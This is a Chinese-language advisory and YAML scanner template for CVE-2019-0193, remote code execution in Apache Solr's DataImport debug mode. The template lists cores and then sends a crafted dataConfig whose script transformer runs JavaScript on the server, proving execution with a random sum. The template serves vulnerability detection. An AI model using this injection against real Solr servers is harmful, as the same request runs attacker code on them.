漏洞描述
2019 年 08 月 01 日,Apache Solr 官方发布预警,Apache Solr DataImport 功能 在开启 Debug 模式时,可以接收来自请求的”dataConfig”参数,这个参数的功能与data-config.xml 一样,不过是在开启 Debug 模式时方便通过此参数进行调试,并且 Debug 模式的开启是通过参数传入的。在 dataConfig 参数中可以包含 script 恶意脚本导致远程代码执行.
app="APACHE-Solr"
id: CVE-2019-0193
info:
name: Apache Solr Remote Code Execution
author: fnmsd(https://github.com/fnmsd)
severity: high
description: |
2019 年 08 月 01 日,Apache Solr 官方发布预警,Apache Solr DataImport 功能 在开启 Debug 模式时,可以接收来自请求的”dataConfig”参数,这个参数的功能与data-config.xml 一样,不过是在开启 Debug 模式时方便通过此参数进行调试,并且 Debug 模式的开启是通过参数传入的。在 dataConfig 参数中可以包含 script 恶意脚本导致远程代码执行.
app="APACHE-Solr"
reference:
- https://blog.csdn.net/xuandao_ahfengren/article/details/106961129
- http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Solr%20Debug-Mode%20%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-0193.html
set:
r1: randomInt(40000, 90000)
r2: randomInt(40000, 90000)
rules:
r0:
request:
method: GET
path: /solr/admin/cores?wt=json
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
output:
search: '"\"name\":\"(?P<core>.*?)\"".bsubmatch(response.body)'
core: search["core"]
r1:
request:
method: POST
path: /solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}%2B{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E
headers:
Content-Type: text/html
body: |-
<?xml version="1.0" encoding="utf-8"?>
<books>
<book>
</book>
</books>
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
expression: r0() && r1()